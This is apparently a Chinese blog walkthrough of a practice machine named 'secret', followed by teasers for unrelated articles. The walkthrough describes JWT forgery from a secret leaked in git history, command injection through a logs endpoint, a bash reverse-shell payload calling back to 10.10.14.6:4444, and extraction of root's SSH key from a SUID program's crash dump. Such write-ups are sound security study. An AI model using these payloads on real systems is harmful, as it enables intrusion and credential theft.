Linux/secret

news2024/11/18 12:47:30

Enumeration

nmap

第一次扫描发现系统对外开放了22,80和3000端口,端口详细信息如下

可以看到22端口对应的是ssh服务,80和3000都是http服务,80端口使用nginx,3000使用了Node.js

TCP/80

可以先从80端口开始探索,看起来是一个文档网站,叫DUMBDocs

再往下可以看到有一些功能,introduction还提到了使用JWT token认证

在最下面可以下载源代码

将文件解压缩后打开,发现里面有.git目录,实际上这是一个git仓库,可以查看日志看看哪些内容做了改动

可以使用git log来查看日志,日志中有一行很有趣,提到了因为安全原因删除了.env

可以使用git show来查看当前提交与源代码之间的区别,可以看到一个TOKEN_SECRET的明文值,但是目前已经变成机密了

查看其他提交时发现引入了/logs,目的是让管理员查看服务器上的日志,它可能会造成命令执行,file变量作为参数传递给git log时,最终会传递给exec函数去执行,因为verifytoken的存在,所以需要身份认证才能做到这一点

查看网站源代码,在routes中有一个auth.js,在login部分,它介绍了如何为登陆成功的用户生成jwt token

利用代码中提到的三个参数,以及之前获取得到的TOKEN_SERCET,在jwt.io中创建一个jwt token

使用该jwt token请求logs,但是却报错了,刚才在网站查看时也发现很多接口都在/api下面,尝试添加/api,添加后没有报404,直接报了500

按照刚才代码中所写,在请求logs时需要有一个参数,尝试添加?file=id,可以看到响应中cmd参数的值发生了改变,应该是git log --oneline id这个指令exec不知道该如何处理,在id前添加;即可

将请求改为/api/logs?file=;id之后,发现响应正常,并且成功执行了指令

可以尝试执行反向shell

;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261'

Privilege Escalation

获取交互式shell

在/opt目录下,有一个count文件,该文件是一个SUID文件,这意味着无论谁执行这个文件,都会以其所有者的身份去运行,而count属于root

尝试执行该文件,提示需要输入文件名,所以输入了/root/root.txt,程序统计了文件中的字数,并且提示是否保存文件

code.c是程序来源,查看其他人的wp,并结合代码,可以尝试利用count二进制文件来读取ssh密钥,然后在文件处理程序被破坏前使程序崩溃,程序崩溃后,会在/var/crashes目录下创建一个core dump文件。所以,可以执行程序,然后让程序读取/root/.ssh/id_rsa密钥文件,在使用ctrl+z置于后台,发送对应信号,当重新把程序置于前台时,就会崩溃并创建转储文件

/opt/count
/root/.ssh/id_rsa
ctrl+z
kill -SIGSEGV `ps -e | grep -w "count"|awk -F ' ' '{print$1}'`
fg

按照上面的指令逐行执行

执行上述命令后,告知核心转储已创建,现在可以使用apport-unpack和strings来提取根ssh密钥

apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_unpacked
strings /tmp/crash_unpacked/CoreDump

复制该密钥保存后添加权限,然后可以使用该密钥登录ssh

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1521634.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

XXE漏洞原理和pikachu靶场实验

★★免责声明★★ 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 1、XXE漏洞原理 XXE全称:XML External Enti…

【C++庖丁解牛】List容器的介绍及使用 | 深度剖析 | list与vector的对比

🍁你好,我是 RO-BERRY 📗 致力于C、C、数据结构、TCP/IP、数据库等等一系列知识 🎄感谢你的陪伴与支持 ,故事既有了开头,就要画上一个完美的句号,让我们一起加油 目录 1. list的介绍1.1 list的…

外贸灯具行业如何找到精准客户?

外贸灯具行业怎么找客户?分析自己的目标客户群 1:灯具的贸易商,中间商 2:灯具的品牌制造商(做贴牌的可以开发) 3:五金建材超市 4:日用品综合超市 5:小家电产品的批发商,代理商 6:礼品公司 7:照明工程承包商,比如:路灯&#xff0c…

HC32F4A0与HC32F460的io口灵活配置灵活映射功能

华大半导体的HC32F4A0和HC32F460系列单片机在IO口配置灵活性方面具有较高级别的可重映射能力。相较于STM32系列,具体差异如下: HC32F4A0/F460系列: 这两个系列的单片机似乎提供了更为灵活的IO口复用功能。开发笔记中提到,用户可以…

使用Loadrunner进行性能测试

一、确定性能测试的范围、要求、配置、工具等 明确测试的系统: 本文档主要指的是web应用。 明确测试要求: 用户提出性能测试,例如,网站首页页面响应时间在3S之内,主要的业务操作时间小于10s,支持300用户在…

HarmonyOS NEXT应用开发—折叠屏音乐播放器方案

介绍 本示例介绍使用ArkUI中的容器组件FolderStack在折叠屏设备中实现音乐播放器场景。 效果图预览 使用说明 播放器预加载了歌曲,支持播放、暂停、重新播放,在折叠屏上,支持横屏悬停态下的组件自适应动态变更。 实现思路 采用MVVM模式进…

架构设计的核心目的与意义

以史为鉴,对我们了解架构设计的目的很有帮助。谈到架构设计,相信每个技术人员都是耳熟能详,但如果深入探讨一下,“为何要做架构设计?”或者“架构设计目的是什么?”类似的问题,大部分人可能从来…

【ArcGISPro】道路数据下载并使用

下载 下载链接: Geofabrik 下载服务器 这些数据通常 每天更新。 下载结果 arcmap用户下载工具 10.2:http://www.arcgis.com/home/item.html?id=16970017f81349548d0a9eead0ebba39 10.3:

【扩散模型(一)】综述:扩散模型在文本生成领域应用

一、论文信息 1 标题 Diffusion models in text generation: a survey 2 作者 Qiuhua Yi, Xiangfan Chen, Chenwei Zhang, Zehai Zhou, Linan Zhu, Xiangjie Kong 3 研究机构 1 College of Computer Science and Technology, Zhejiang University of Technology, HangZho…

DVWA-File Upload文件上传

什么是文件上传漏洞? 黑客利用文件上传后服务器解析处理文件的漏洞上传一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。 造成文件上传漏洞的原因: 1.服务器配置不当 2.开源编辑器上传漏洞 3.本地文件上传限制被绕过 4.过滤不严格被…

攻防世界-misc-Make-similar

题目链接:攻防世界 (xctf.org.cn) 下载得到ogg文件。Olympic CTF 2014原题有提示120 LPM,对应Radiofax。需要将ogg格式文件转换成wav格式音频后,用OS X下的软件Multimode转换成单色传真图像: 文字部分为: section 1 of…

重学SpringBoot3-整合SSM

更多SpringBoot3内容请关注我的专栏:《SpringBoot3》 期待您的点赞👍收藏⭐评论✍ 重学SpringBoot3-整合SSM Spring Boot整合SSM示例1. 创建Spring Boot项目2. 配置数据源3. 配置MyBatis4. 实现数据访问对象(DAO)5. 编写服务层和控…

【绿色碳中和】工作报告词频分析—绿色环保词频数据(2001-2024)

数据简介:随着经济的发展和工业产业的腾飞,人们更多的从关注经济发展走向可持续生态经济发展,我国也于2020年9月22日在第七十五届联合国大会上提出了碳达峰、碳中和的目标。随着碳市场的建立和逐步完善,越来越多的政策与绿色环保概…

Linux多进程中wait()函数学习

wait()函数是Linux/Unix系统里的一个系统级函数&#xff0c;在C语言中通过#include <sys/wait.h>包含该系统调用的头文件。 想要查看如何使用这个函数&#xff0c;可以在终端中输入&#xff1a; man 2 wait如下图&#xff1a; wait系统调用可以让父线程阻塞等待子线程的…

selenium + robotframework的运行原理

1、点击ride界面启动用例执行时&#xff0c;首先会调用脚本 2、打开pybot脚本查看内容、 3、打开robot包下面的run文件&#xff0c;我们可以看到信息 run文件内容 程序启动的入口&#xff0c; sys.agv所表达的含义是&#xff1a;sys.argv[]说白了就是一个从程序外部获取参数的桥…

2024 Mazing 3 中文版新功能介绍Windows and macOS

iMazing 3中文版(ios设备管理软件)是一款管理苹果设备的软件&#xff0c; Windows 平台上的一款帮助用户管理 IOS 手机的应用程序。iMazing中文版与苹果设备连接后&#xff0c;可以轻松传输文件&#xff0c;浏览保存信息等&#xff0c;软件功能非常强大&#xff0c;界面简洁明晰…

AST解web控制流平坦化

此代码可以解决大部分 while if else 控制流平坦化原理&#xff1a; 先将 if 语句转为 switch 语句&#xff0c;再将 switch 分支合并&#xff0c;最后删除已合并的分支&#xff08;具体看代码&#xff09; 实现效果图 首先安装依赖&#xff1a; npm install babel/parser npm…

jenkins使用公共库问题

Jenkins解决上编译解决引用问题 本地运行 把公共库创建链接到指定项目目录下即可 mklink /d /j D:\codepath\xxxx\yyyyy\tool_base D:\codepath\tool_base

Learn OpenGL 14 混合

混合 OpenGL中&#xff0c;混合(Blending)通常是实现物体透明度(Transparency)的一种技术。透明就是说一个物体&#xff08;或者其中的一部分&#xff09;不是纯色(Solid Color)的&#xff0c;它的颜色是物体本身的颜色和它背后其它物体的颜色的不同强度结合。一个有色玻璃窗是…

python自动化之(django)(2)

1、创建应用 python manage.py startapp apitest 这里还是从上节开始也就是命令行在所谓的autotest目录下来输入 然后可以清楚的看到 多了一个文件夹 2、创建视图 在views中加入test函数&#xff08;所建应用下&#xff09; from django.http import HttpResponse def tes…